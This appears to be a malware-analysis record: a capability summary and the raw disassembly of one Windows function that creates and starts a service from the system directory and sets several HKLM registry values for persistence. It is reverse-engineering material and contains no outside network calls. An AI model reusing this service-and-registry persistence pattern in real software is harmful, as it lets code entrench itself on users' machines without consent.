Function at 0x401000
Capabilities:
Check os version
Create service
Get common file path
Persist via windows service
Print debug messages
Set registry value
Start service

Disassembly:
sub esp, 0x23c
push edi
mov ecx, 0x27
xor eax, eax
lea edi, [esp + 0x2c]
rep stosd dword es:[edi], eax
lea eax, [esp + 0x2c]
mov dword [esp + 0x2c], 0x9c
push eax
call dword [sym.imp.KERNEL32.dll_GetVersionExA]
test eax, eax
je 0x401041
cmp dword [esp + 0x3c], 2
jne 0x401041
mov edi, dword [sym.imp.KERNEL32.dll_OutputDebugStringA]
push 0x4061dc
call edi
jmp 0x401065
cmp dword [esp + 4], 1
je 0x40105f
push 0x4061cc
call dword [sym.imp.KERNEL32.dll_OutputDebugStringA]
xor eax, eax
pop edi
add esp, 0x23c
ret 0x10
mov edi, dword [sym.imp.KERNEL32.dll_OutputDebugStringA]
push ebx
push ebp
push esi
push 0xf003f
push 0
push 0
call dword [sym.imp.ADVAPI32.dll_OpenSCManagerA]
mov ebx, eax
test ebx, ebx
jne 0x401084
push 0x4061ac
call edi
mov ebp, dword [sym.imp.ADVAPI32.dll_OpenServiceA]
push 0xf01ff
push 0x4061a4
push ebx
call ebp
mov esi, eax
test esi, esi
jne 0x4011e7
push 0x406174
call edi
lea ecx, [esp + 0xd4]
push 0x78
push ecx
call dword [sym.imp.KERNEL32.dll_GetSystemDirectoryA]
mov edi, 0x40615c
or ecx, 0xffffffff
xor eax, eax
lea edx, [esp + 0xd4]
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
push eax
mov esi, edi
mov edi, edx
mov edx, ecx
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
mov ecx, edx
dec edi
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
push eax
push eax
push eax
push eax
lea eax, [esp + 0xe8]
mov ecx, edx
push eax
push 1
push 2
push 1
push 0xf01ff
and ecx, 3
push 0x4061a4
push 0x4061a4
rep movsb byte es:[edi], byte [esi]
push ebx
call dword [sym.imp.ADVAPI32.dll_CreateServiceA]
mov esi, eax
push esi
call dword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
push 0xf01ff
push 0x4061a4
push ebx
call ebp
mov ebx, dword [sym.imp.KERNEL32.dll_OutputDebugStringA]
push 0x406144
mov edi, eax
call ebx
test edi, edi
je 0x401291
mov ebp, dword [sym.imp.ADVAPI32.dll_ControlService]
lea ecx, [esp + 0x1c]
push ecx
push 4
push edi
call ebp
push 0x406128
call ebx
cmp dword [esp + 0x20], 4
je 0x401291
push 0
push 0
push edi
call dword [sym.imp.ADVAPI32.dll_StartServiceA]
test eax, eax
jne 0x401197
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
lea edx, [esp + 0x150]
push 0x406100
push edx
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 0xc
lea eax, [esp + 0x14c]
push eax
jmp 0x40119c
push 0x4060e4
call ebx
mov edi, dword [sym.imp.KERNEL32.dll_Sleep]
mov dword [esp + 0x18], 0
push 0x3e8
call edi
lea ecx, [esp + 0x1c]
push ecx
push 4
push esi
call ebp
test eax, eax
je 0x4011c8
cmp dword [esp + 0x20], 4
je 0x4011db
mov eax, dword [esp + 0x18]
inc eax
cmp eax, 0xa
mov dword [esp + 0x18], eax
jl 0x4011ac
jmp 0x401291
push 0x4060c8
call ebx
jmp 0x401291
mov ebp, dword [sym.imp.ADVAPI32.dll_ControlService]
lea edx, [esp + 0x1c]
push edx
push 4
push esi
call ebp
push 0x4060a4
call edi
cmp dword [esp + 0x20], 4
je 0x40128d
push 0
push 0
push esi
call dword [sym.imp.ADVAPI32.dll_StartServiceA]
test eax, eax
jne 0x40123f
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
lea eax, [esp + 0x150]
push 0x406100
push eax
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 0xc
lea ecx, [esp + 0x14c]
push ecx
jmp 0x401244
push 0x4060e4
call edi
mov esi, dword [esp + 0x10]
mov ebx, dword [sym.imp.KERNEL32.dll_Sleep]
mov dword [esp + 0x18], 0
push 0x3e8
call ebx
lea edx, [esp + 0x1c]
push edx
push 4
push esi
call ebp
test eax, eax
je 0x401274
cmp dword [esp + 0x20], 4
je 0x401284
mov eax, dword [esp + 0x18]
inc eax
cmp eax, 0xa
mov dword [esp + 0x18], eax
jl 0x401258
jmp 0x401291
push 0x4060c8
call edi
jmp 0x401291
mov esi, dword [esp + 0x10]
push esi
call dword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
lea eax, [esp + 0x10]
mov dword [esp + 0x14], 0x32
push eax
push 0x406078
push 0x80000002
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyA]
mov esi, dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
lea ecx, [esp + 0x14]
mov edx, dword [esp + 0x10]
push 4
push ecx
push 4
push 0
push 0x406068
push edx
call esi
lea eax, [esp + 0x14]
push 4
mov ecx, dword [esp + 0x14]
push eax
push 4
push 0
push 0x406054
push ecx
call esi
lea edx, [esp + 0x14]
push 4
mov eax, dword [esp + 0x14]
push edx
push 4
push 0
push 0x406040
push eax
mov dword [esp + 0x2c], 0x1f40
call esi
lea ecx, [esp + 0x14]
push 4
mov edx, dword [esp + 0x14]
push ecx
push 4
push 0
push 0x406030
push edx
mov dword [esp + 0x2c], 1
call esi
mov eax, dword [esp + 0x10]
push eax
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
pop esi
pop ebp
pop ebx
xor eax, eax
pop edi
add esp, 0x23c
ret 0x10